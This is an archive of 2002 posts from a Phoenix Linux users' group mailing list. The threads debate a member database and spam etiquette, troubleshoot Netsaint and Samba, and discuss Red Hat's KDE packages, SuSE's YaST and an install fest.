plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Thu, 27 Jun 2002 16:13:17 -0700 (MST) Subject: Membership database In-Reply-To: Message-ID: Am 27. Jun, 2002 schwätzte Derek Neighbors so: > > SPAM, regardless of the cause, is *BAD*!!! We should not mass-email anyone. > > I disagree. Unsolicted SPAM is pure evil. Solicted SPAM is certainly If you've asked to receieve it, it isn't SPAM. That's why we can gently use the announce list ( something we should do more often ). If, OTOH, we just snarf all the email addies in our lists and start mass-mailing them, then that's SPAM. They've signed up for the list mechanisms. Using the email addies outside those contexts is opt-out. There's no need to hop outside the confines of the lists. People have signed up for those, let's use them. Let's not start direct emailing with addies reaped from the mailing lists. > acceptable. There are many companies I deal with that I request their > SPAM because its valuable to me (discounts, special events, promotions > etc) and I know they dont abuse me. Other people I do business with I > woudl never give them my information or if I did I certainly would opt in > for them to send me anything. We're mostly saying the same thing, except we're differing on the definition of SPAM. ciao, der.hans -- # https://www.LuftHans.com/ # To announce that there must be no criticism of the President, or that we # are to stand by the President, right or wrong, is not only unpatriotic # and servile, but is morally treasonable to the American public. # -- Theodore Roosevelt, 1918 From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 22:50:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lowell Hamilton) Date: 27 Jun 2002 15:50:48 -0700 Subject: Netsaint In-Reply-To: <200206271504.57236.zen2now@qwest.net> References: <200206271414.55584.zen2now@qwest.net> <200206271504.57236.zen2now@qwest.net> Message-ID: <1025218248.10747.90.camel@syz.broken-bit.com> > maybe a better question would be, is Netsaint worth the hassle? are there > better tools for this that are easier to setup? Depends on what you want to monitor .. if you want to check a tiny webserver or just a couple little hosts with the most basic checks, netsaint is a lot of extra hassle. Netsaint doesn't become really handy until you start implementing larger networks or have several hosts monitoring dozens of services each. I have a 5100-point of failure netsaint install going watching almost 100 points of failure on several machines, something no other opensource monitoring software could handle without blowing the system up or becoming unmaintainable. For small stuff though, hit freshmeat .. software like bigbrother would probably work. In regards to your problem, it sounds like NEAT set the userid in /usr/local/netsaint/etc/netsaint.cfg to apacheuser ... edit this file and make sure all the paths and users are correct for what you need. Lowell On Thu, 2002-06-27 at 15:04, slr wrote: > > slr > > On Thursday 27 June 2002 02:14 pm, slr wrote: > > Ok here goes, cause i guess i am going to be one of those that will > > struggle. i downloaded and installed NEAT4.9 because at 1st glance it > > looked like it would make administration easier. i can pull up the web > > interface and edit the host.cfg, which BTW i couldnt do by using the httpd > > default group and chmod g+w host.cfg as suggested in the README.txt for > > NEAT. the problem now is when i try to verify and restart netsaint using > > the NEAT web interface i get this error msg: > > > > ERROR - userid apacheuser (this is not the real default httpd user) cannot > > run /usr/local/netsaint/bin/netsaint to verify your config. This is > > probably your httpd userid. Fix this > > > > i am not sure why it is using this apache user, it is not entered in the > > netsaint.cfg file. any ideas? > > > > slr > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- : Lowell Hamilton syz@b r o k e n - b i t . c o m : : Linux OpenBSD Security QMail Perl/Mod_perl SQL : From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:10:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: Thu, 27 Jun 2002 16:10:28 -0700 Subject: Crappy Products Cost More!! References: <4A8DFDA6B395D411A11B00508BEE23FE76B53E@mail.int.fh.org> Message-ID: <3D1B9B64.9070409@qwest.net> Tom Achtenberg wrote: >I agree the RH problem is management. KDE's web site doesn't name him but does state the a RH employee makes the rpm's on his own time. > >I believe it is 1.3 Java that I have installed. At least the up2date says my system is 100% up to date (in their eyes anyway.) I have iso's from Mandrake from early April. ver 8.1 I think. Does Mandrake have anything like the up2date service? If so I may go that direction this weekend. > >-----Original Message----- >From: Kurt Granroth [mailto:kurt@granroth.org] >Sent: Thursday, June 27, 2002 3:02 PM >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Re: Crappy Products Cost More!! > > >On Thursday 27 June 2002 01:58 pm, Tom Achtenberg wrote: > > >>Would you settle for a product that is 70 to 80% complete? How about if >>they left off one tire on your car? Bernard's attitude is a horrible >>example of bad customer service. (If what you report is accurate.) >> >> > >To cut Bero a bit of slack, he creates the RPMs on his own time (mostly). >RedHat gives him next to no support internally. > >Not that that excuses RedHat at all... > >As for your java issues with Konqueror, it depends on what version of Java >you are using. You need java 1.3 or better (the IBM version works great >for me). Java support in the upcoming 3.1 (not due until this Fall) is >*much* improved over the 3.0.x series as well. > > mandrake has mandrake update. It seems to be fairly good, i have been running 8.2 for about a month and a half and my system is current. Ray From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:23:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Thu, 27 Jun 2002 16:23:22 -0700 Subject: Membership database In-Reply-To: References: Message-ID: <02062716232217.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I agree with Hans. We have the tools (i.e. the mail lists themselves) so why not use them? Opt-in if you choose, do nothing (except take the time to read the post) if you dont. On Thursday 27 June 2002 16:13, you wrote: > Am 27. Jun, 2002 schwätzte Derek Neighbors so: > > > SPAM, regardless of the cause, is *BAD*!!! We should not mass-email > > > anyone. > > > > I disagree. Unsolicted SPAM is pure evil. Solicted SPAM is certainly > > If you've asked to receieve it, it isn't SPAM. That's why we can gently use > the announce list ( something we should do more often ). > > If, OTOH, we just snarf all the email addies in our lists and start > mass-mailing them, then that's SPAM. They've signed up for the list > mechanisms. Using the email addies outside those contexts is opt-out. > > There's no need to hop outside the confines of the lists. People have > signed up for those, let's use them. Let's not start direct emailing with > addies reaped from the mailing lists. > > > acceptable. There are many companies I deal with that I request their > > SPAM because its valuable to me (discounts, special events, promotions > > etc) and I know they dont abuse me. Other people I do business with I > > woudl never give them my information or if I did I certainly would opt in > > for them to send me anything. > > We're mostly saying the same thing, except we're differing on the > definition of SPAM. > > ciao, > > der.hans - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRueaisk3ywszI1FEQJ3YACg4PfMKZWvw21nFfgbaXCPpDIYtxIAoN4R 6f4cnjBwiParXplF336K313P =yRdW -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:30:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Thu, 27 Jun 2002 16:30:36 -0700 Subject: Install Fest II 0626 Status References: Message-ID: <3D1BA01C.8D86CEBF@cox.net> It would be great to have a published schedule of the presentations, too. -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 23:38:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Thu, 27 Jun 2002 16:38:57 -0700 Subject: Netsaint In-Reply-To: <1025218248.10747.90.camel@syz.broken-bit.com> References: <200206271414.55584.zen2now@qwest.net> <200206271504.57236.zen2now@qwest.net> <1025218248.10747.90.camel@syz.broken-bit.com> Message-ID: <200206271638.57847.zen2now@qwest.net> well i was looking to monitor my exchange server, PDC, SQL server, 4 Samba servers, 5 webservers, 3 DNS servers, my routers and switches, and 3 MySQL servers. in this senario would netsaint be an overkill? i am trying out ntop right now, what is your feeling about this app? as for NEAT, i check the netsaint.cfg and netsaint_user=contains my netsaint user and not the apacheuser. :~( slr On Thursday 27 June 2002 03:50 pm, Lowell Hamilton wrote: > > maybe a better question would be, is Netsaint worth the hassle? are there > > better tools for this that are easier to setup? > > Depends on what you want to monitor .. if you want to check a tiny > webserver or just a couple little hosts with the most basic checks, > netsaint is a lot of extra hassle. Netsaint doesn't become really handy > until you start implementing larger networks or have several hosts > monitoring dozens of services each. I have a 5100-point of failure > netsaint install going watching almost 100 points of failure on several > machines, something no other opensource monitoring software could handle > without blowing the system up or becoming unmaintainable. For small > stuff though, hit freshmeat .. software like bigbrother would probably > work. > > In regards to your problem, it sounds like NEAT set the userid in > /usr/local/netsaint/etc/netsaint.cfg to apacheuser ... edit this file > and make sure all the paths and users are correct for what you need. > > Lowell > > On Thu, 2002-06-27 at 15:04, slr wrote: > > slr > > > > On Thursday 27 June 2002 02:14 pm, slr wrote: > > > Ok here goes, cause i guess i am going to be one of those that will > > > struggle. i downloaded and installed NEAT4.9 because at 1st glance it > > > looked like it would make administration easier. i can pull up the web > > > interface and edit the host.cfg, which BTW i couldnt do by using the > > > httpd default group and chmod g+w host.cfg as suggested in the > > > README.txt for NEAT. the problem now is when i try to verify and > > > restart netsaint using the NEAT web interface i get this error msg: > > > > > > ERROR - userid apacheuser (this is not the real default httpd user) > > > cannot run /usr/local/netsaint/bin/netsaint to verify your config. This > > > is probably your httpd userid. Fix this > > > > > > i am not sure why it is using this apache user, it is not entered in > > > the netsaint.cfg file. any ideas? > > > > > > slr > > > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 00:42:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Thu, 27 Jun 2002 17:42:01 -0700 Subject: Membership database In-Reply-To: <02062711351412.07972@nova.wedge.org> References: <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> Message-ID: <5.1.0.14.0.20020627172154.025325b0@localhost> The purpose of any website or database that is accessible from outside is to get to information. Just like Google and other search engines, it's a database that you would search for what you need from people who register. Hans stated there is something being worked on for the website. I have stated I have something available that can be tweaked to preferences. However you send information about the database is fine by me. SPAM or not, if you don't want to read it, delete it. We can promote it on the website and on the lists, including the announce list. I won't go into whether processing time, display time, hard drive space, etc. would be available or would take up too much of these resources. The point is that I am wanting more to find the information that I am looking for instead of having to email the listing and searching through the email responses to get what I want or need at the time. I know there are sites out there where I can search for things that I may need or want at any given time, but PLUG people are who I turn to. I want to know that if I am looking for this one part or this one service or someone who can wave this wand, that I can find it in my own time, rather than having to drag myself through lot's of emails and calls that get me off track from the "thing" I most want. Just kinda why I brought this up and how I would like to see things improved upon. Kimi Adams Unity Wave At 6/27/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >My thoughts on a member database. > >I think it is a great idea. As of right now, we have little information >about who is subscribed to any of the mailing lists, other than their mail >address. Some people might consider that a "good thing". > >Any membership information should be gathered voluntarily. We should not >require anyone to add information to the database. We should warn them that >we will collect at least the email address that they are using to subscribe >to a list for the membership database. We do, after all, consider anyone >subscribed to any of our mail lists as a PLUG member (makes our numbers look >really great). > >I bet we could get Brian to capture a snapshot of the current subscribers' >email addresses from Mailman. We could them mass-email all subscribers >pointing them to a yet-to-be built web page with a form to fill out as much >or as little information as they want in the database. I bet we could even >set up a mechanism to send new subscribers to get sent there automatically. >Probably should set up a way to delete data when someone unsubscribes. This >is tougher because a person may be subscribed to all the lists but only be >unsubscribing from one or two. > >As far a web space for members, how much space do we have available that we >can use for members' pages? It is one thing to search the database and >display data about one member, but it will take a lot more space if we set >aside even 1M of space for every member. It will take some resources for the >database web page that collects the data and for the database and for the >scripts that need to be written. It will take more space to search and >display routines based on criteria input (sounds like a job for our PhP >gurus). > >All in all, I consider this a great project. It would be even greater if we >release all the tools after it is done. I am almost surprised that another >UG has not done something like this already. So what do we need in terms of >hardware, software, and manpower? Who is gonna organize it? How many members >would be interested in participating? >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t >qR5NkSwamOTOgLRJ+rIAeJDg >=XeNW >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 01:13:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Scott) Date: Thu, 27 Jun 2002 18:13:28 -0700 (MST) Subject: Samba Help?? In-Reply-To: <20020627181354.QGVM8234.lakemtao06.cox.net@smtp.central.cox.net> Message-ID: On Thu, 27 Jun 2002, Carl Parrish wrote: > I let some Window users talk me into rebooting my Linux box to try to fix a problem now my Samba is fubared. I've restarted /usr/bin/smbd and /usr/bin/nmbd but now I can't see any of the window boxes on the network anyone have any ideas? > > > Carl P. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > look in your .../samba/var/log.smbd and log.nmbd files. There should be some info there on what it is choking on. Also, you mentioned that samba was fubared - how did you come to that conlusion - what are you seeing/not seeing? scott sbrews@cox.net From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 01:13:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Thu, 27 Jun 2002 18:13:15 -0700 Subject: Membership database References: <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020627172154.025325b0@localhost> Message-ID: <001d01c21e40$facc04d0$6701a8c0@drghastly> I'm afraid I didn't sign up to this list to have my email put into a DB with a list of skills/references on me so that someone can go in there and just send me email whenever they have a problem. I thought that was what PLUG was for, to discuss the problem and get multiple points of view and figure out the best tool for the job. It's funny how a LOT of people complain about being on someone's SPAM list and when they get told "You can just delete it" they get VERY upset. "I didn't want to be on it in the FIRST place!" Your proposing to do that to everyone who hates SPAM. You talk about not wanting to have to go through all the emails PLUG generates to find the answers to your issues. *I* do not want to have to go thought all the PLUG emails AND everyones PERSONAL emails to me to find the answers I need. I get enough e-mail as it is, I do not need to wade through more. If someone sees I posted a response to answer a question and they wish to follow up with me privately, thats fine. But I don't want emails just coming out of the blue like crazy (NOT that I am saying you will. I am a newbie afterall, I'm just stating a view point :) The opposite applies. If someone whishes to give me an answer privately, that is also obviously ok. If anything, this idea would HAVE to be an Opt-In, not Opt-Out. Opt-Out is just as annoyng as MSN/hotmail signing you up for thier spam, not telling you, and then saying "Oh, well, its OPT-Out..." ----- Original Message ----- From: "Kimi A. Adams" To: Sent: Thursday, June 27, 2002 5:42 PM Subject: Re: Membership database > The purpose of any website or database that is accessible from outside is > to get to information. Just like Google and other search engines, it's a > database that you would search for what you need from people who > register. Hans stated there is something being worked on for the > website. I have stated I have something available that can be tweaked to > preferences. > > However you send information about the database is fine by me. SPAM or > not, if you don't want to read it, delete it. We can promote it on the > website and on the lists, including the announce list. > > I won't go into whether processing time, display time, hard drive space, > etc. would be available or would take up too much of these resources. The > point is that I am wanting more to find the information that I am looking > for instead of having to email the listing and searching through the email > responses to get what I want or need at the time. > > I know there are sites out there where I can search for things that I may > need or want at any given time, but PLUG people are who I turn to. I want > to know that if I am looking for this one part or this one service or > someone who can wave this wand, that I can find it in my own time, rather > than having to drag myself through lot's of emails and calls that get me > off track from the "thing" I most want. > > Just kinda why I brought this up and how I would like to see things > improved upon. > > Kimi Adams > Unity Wave > > At 6/27/02, you wrote: > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >My thoughts on a member database. > > > >I think it is a great idea. As of right now, we have little information > >about who is subscribed to any of the mailing lists, other than their mail > >address. Some people might consider that a "good thing". > > > >Any membership information should be gathered voluntarily. We should not > >require anyone to add information to the database. We should warn them that > >we will collect at least the email address that they are using to subscribe > >to a list for the membership database. We do, after all, consider anyone > >subscribed to any of our mail lists as a PLUG member (makes our numbers look > >really great). > > > >I bet we could get Brian to capture a snapshot of the current subscribers' > >email addresses from Mailman. We could them mass-email all subscribers > >pointing them to a yet-to-be built web page with a form to fill out as much > >or as little information as they want in the database. I bet we could even > >set up a mechanism to send new subscribers to get sent there automatically. > >Probably should set up a way to delete data when someone unsubscribes. This > >is tougher because a person may be subscribed to all the lists but only be > >unsubscribing from one or two. > > > >As far a web space for members, how much space do we have available that we > >can use for members' pages? It is one thing to search the database and > >display data about one member, but it will take a lot more space if we set > >aside even 1M of space for every member. It will take some resources for the > >database web page that collects the data and for the database and for the > >scripts that need to be written. It will take more space to search and > >display routines based on criteria input (sounds like a job for our PhP > >gurus). > > > >All in all, I consider this a great project. It would be even greater if we > >release all the tools after it is done. I am almost surprised that another > >UG has not done something like this already. So what do we need in terms of > >hardware, software, and manpower? Who is gonna organize it? How many members > >would be interested in participating? > >- -- > >Jim > > > >Freedom is worth protecting > > > >-----BEGIN PGP SIGNATURE----- > >Version: PGP 6.5.8 > > > >iQA/AwUBPRta4isk3ywszI1FEQKgpQCeNUk3KndK5/aslwBtPG42kFb6JUYAnR1t > >qR5NkSwamOTOgLRJ+rIAeJDg > >=XeNW > >-----END PGP SIGNATURE----- > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 01:30:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Thu, 27 Jun 2002 18:30:27 -0700 Subject: Crappy Products Cost More!! References: <4A8DFDA6B395D411A11B00508BEE23FE76B535@mail.int.fh.org> Message-ID: <3D1BBC33.BC88DB14@qwest.net> Did a search for KDE base on rpmfind.net and 3.0.1 is in the Rawhide distro from RedHat. RawHide is the testing/beta distro for their next release. http://www.rpmfind.net//linux/RPM/rawhide/1.0/i386/RedHat/RPMS/kdebase-3.0.1-3.i386.html > I stand corrected on my versioning. It still stands that Red Hat has yet to put the 3.0.1 updates which do include fixes to Kmail and Konqueror on up2date. And they refuse to provide Red Hat rpm's of KDE for the ftp sites. > > -----Original Message----- > From: Logan Kennelly [mailto:voltage_spike@fastmail.fm] > Sent: Thursday, June 27, 2002 10:36 AM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Crappy Products Cost More!! > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Thursday 27 June 2002 07:11 am, Tom Achtenberg wrote: > > I am a registered user of Red hat. I bought the boxed set for ver 7.2 I > > downloaded 7.3 I prefer the KDE desktop. Unfortunately the KDE 3.0 that > > is included as part of 7.3 is unstable for Konqueror and Kmail, the two > > main applications I want to use. KDE released ver 3.1 several weeks ago. > > Just for clarification, KDE 3.1 has not been released. Rather it is version > 3.0.1. (Note: KDE_3_0_2_RELEASE in CVS as of this week, so expect the > release announcement soon.) I also remember an allusion to "K-Mail 3.1" > earlier, which I assume was referring to KMail 1.4.1 (the version that > comes with 3.0.1). > > If you are interested in the KDE 3.1 release schedule, it may be found here: > http://developer.kde.org/development-versions/kde-3.1-release-plan.html > > - -- > Logan Kennelly > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9G0zmpNoctRtUIRQRAqQmAKCE2zdhfJgWFFVklgyHkwj7bb6lTACeN1jm > 5f2zNPQR/Ixau1NJ67Q2b3w= > =ojSL > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 01:42:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Thu, 27 Jun 2002 18:42:46 -0700 Subject: Membership database In-Reply-To: <001d01c21e40$facc04d0$6701a8c0@drghastly> References: <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020626163527.00a52ec0@localhost> <5.1.0.14.0.20020626203832.025352a0@localhost> <5.1.0.14.0.20020627172154.025325b0@localhost> <001d01c21e40$facc04d0$6701a8c0@drghastly> Message-ID: <20020628014246.GV8953@ecloud.org> At least if you do this on the Mailman "show member list" page, you can password-protect that, so that only other members can see it. I suspect lots of people will object to having their emails put on a public web page. On Thu, Jun 27, 2002 at 06:13:15PM -0700, Dr.G wrote: > I'm afraid I didn't sign up to this list to have my email put into a DB with > a list of skills/references on me so that someone can go in there and just > send me email whenever they have a problem. I thought that was what PLUG was > for, to discuss the problem and get multiple points of view and figure out > the best tool for the job. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:31:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Thu, 27 Jun 2002 19:31:11 -0700 (MST) Subject: Install Fest II 0626 Status In-Reply-To: Message-ID: On Thu, 27 Jun 2002, Tom Emerson wrote: > A handful of first-person-shooter games running wouldn't hurt, 'specially > for the "Student Newspaper Oriented Press Releases" crowd? > > - t > I have... let's see....*Looks* Descent III, Q3A, Tribes 2 and a simulation game called Railroad Tycoon 2 - Gold edition loaded on this Linux box... :) Welp... looks like I going to bring both of my systems in again... Whoever setups up the venune at GCC make sure you got like 30 amps power setup for me because both of the boxes will require that much, together. ;) From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:15:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar) Date: Thu, 27 Jun 2002 19:15:23 -0700 Subject: Netsaint In-Reply-To: <200206271638.57847.zen2now@qwest.net> References: <200206271414.55584.zen2now@qwest.net> <200206271504.57236.zen2now@qwest.net> <1025218248.10747.90.camel@syz.broken-bit.com> <200206271638.57847.zen2now@qwest.net> Message-ID: <20020627191523.57cc3058.linux@esaravana.com> My experience is that it scales well from 1 system to 500 systems. I use it at home to monitor my old pentium 133 system and also have implemented it successfully for a managed services company to monitor 500+ systems. With too many systems to monitor I had to fine tune the system communication with SOAP, XML and Java. It really worked great. But of course -- we were set a mere consultants who implemented the project, before a hotshot ex-Motorola manager took control of the project, cancelled the the netsaint installation over Intellectual Property issue(How intelligent he could be?), signed a contract with HP for OpenView at $50000/site and bankrupt the company. After few months, he contacted me for a job oportunity in my new company. OK, that's all together another big story. Anyway it is great product and scales really well. Sundar On Thu, 27 Jun 2002 16:38:57 -0700 "slr" wrote: > well i was looking to monitor my exchange server, PDC, SQL server, 4 Samba > servers, 5 webservers, 3 DNS servers, my routers and switches, and 3 MySQL > servers. in this senario would netsaint be an overkill? i am trying out ntop > right now, what is your feeling about this app? > > as for NEAT, i check the netsaint.cfg and netsaint_user=contains my netsaint > user and not the apacheuser. :~( > > slr > > On Thursday 27 June 2002 03:50 pm, Lowell Hamilton wrote: > > > maybe a better question would be, is Netsaint worth the hassle? are there > > > better tools for this that are easier to setup? > > > > Depends on what you want to monitor .. if you want to check a tiny > > webserver or just a couple little hosts with the most basic checks, > > netsaint is a lot of extra hassle. Netsaint doesn't become really handy > > until you start implementing larger networks or have several hosts > > monitoring dozens of services each. I have a 5100-point of failure > > netsaint install going watching almost 100 points of failure on several > > machines, something no other opensource monitoring software could handle > > without blowing the system up or becoming unmaintainable. For small > > stuff though, hit freshmeat .. software like bigbrother would probably > > work. > > > > In regards to your problem, it sounds like NEAT set the userid in > > /usr/local/netsaint/etc/netsaint.cfg to apacheuser ... edit this file > > and make sure all the paths and users are correct for what you need. > > > > Lowell > > > > On Thu, 2002-06-27 at 15:04, slr wrote: > > > slr > > > > > > On Thursday 27 June 2002 02:14 pm, slr wrote: > > > > Ok here goes, cause i guess i am going to be one of those that will > > > > struggle. i downloaded and installed NEAT4.9 because at 1st glance it > > > > looked like it would make administration easier. i can pull up the web > > > > interface and edit the host.cfg, which BTW i couldnt do by using the > > > > httpd default group and chmod g+w host.cfg as suggested in the > > > > README.txt for NEAT. the problem now is when i try to verify and > > > > restart netsaint using the NEAT web interface i get this error msg: > > > > > > > > ERROR - userid apacheuser (this is not the real default httpd user) > > > > cannot run /usr/local/netsaint/bin/netsaint to verify your config. This > > > > is probably your httpd userid. Fix this > > > > > > > > i am not sure why it is using this apache user, it is not entered in > > > > the netsaint.cfg file. any ideas? > > > > > > > > slr > > > > > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:34:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 27 Jun 2002 22:34:51 -0400 Subject: SuSE 7.3 sparc64 References: <200206270927.08332.zen2now@qwest.net> Message-ID: <3D1BCB4B.C30FB519@georgetoft.com> slr wrote: > > > /etc/hosts has nothing to do with what the real hostname. It's better if it > > does list the name, but that's not required. > > if /etc/hosts has nothing to do with what the real hostname is. then why in > the /etc/rc.config file right above the statement: > > FQHOSTNAME=blah.hostname.com > > does it state: > > Hostname of the system (full name) > Don't forget to edit your /etc/hosts appropriately > > and BTW, thx George for the clue to /etc/rc.config. No problem. > > > /etc/HOSTNAME is probably either read or written at boot time, but should > > otherwise be ignored. > > sl in SuSE is YaST the preferred way of making system changes? Yes, and this drove me batty. I cut my teeth learning config files and making symlinks in the start up scripts, so YaST was a major annoyance. Now, I live with YaST because SuSE supports the Linux Standards Base, and some other distros do not. Today's YaST really rocks, so I am getting used to doing the point and click administration. I wanted to install my WinTV card. Point-click, YaST set it up - easy. I wanted to monitor my CPU temperature. I installed the sensors package, and YaST installed the proper entries in /etc/modules.conf for me. The "gotcha" with YaST is when you install a new service, like LDAP, you must enable the new service in YaST, because every init script asks YaST if that service is supposed to start up. The other "gotcha" is that YaST2 does not manage Logical Volumes correctly - use YaST1 for that. George From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:38:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Thu, 27 Jun 2002 22:38:29 -0400 Subject: OT: Five year old wins MS proficiency cert, Gates book Message-ID: <3D1BCC25.AD3772CD@georgetoft.com> Five year old wins MS proficiency cert, Gates book By Andrew Orlowski in San Francisco Posted: 25/06/2002 at 07:39 GMT A five year old boy in Thailand has passed Microsoft's Office User Specialist examination (MOUS), and won himself a copy of Bill Gates masterpiece Business At The Speed of Light... http://www.theregister.co.uk/content/28/25874.html What's next, Microsoft MCSE at 6 From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 02:47:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dr.G) Date: Thu, 27 Jun 2002 19:47:05 -0700 Subject: Five year old wins MS proficiency cert, Gates book References: <3D1BCC25.AD3772CD@georgetoft.com> Message-ID: <004d01c21e4e$169103c0$6701a8c0@drghastly> 7, actually. ----- Original Message ----- From: "George Toft" To: "PLUG Discuss" Sent: Thursday, June 27, 2002 7:38 PM Subject: OT: Five year old wins MS proficiency cert, Gates book > Five year old wins MS proficiency cert, Gates book > By Andrew Orlowski in San Francisco > Posted: 25/06/2002 at 07:39 GMT > > > A five year old boy in Thailand has passed Microsoft's Office User > Specialist examination (MOUS), and won himself a copy of Bill Gates > masterpiece Business 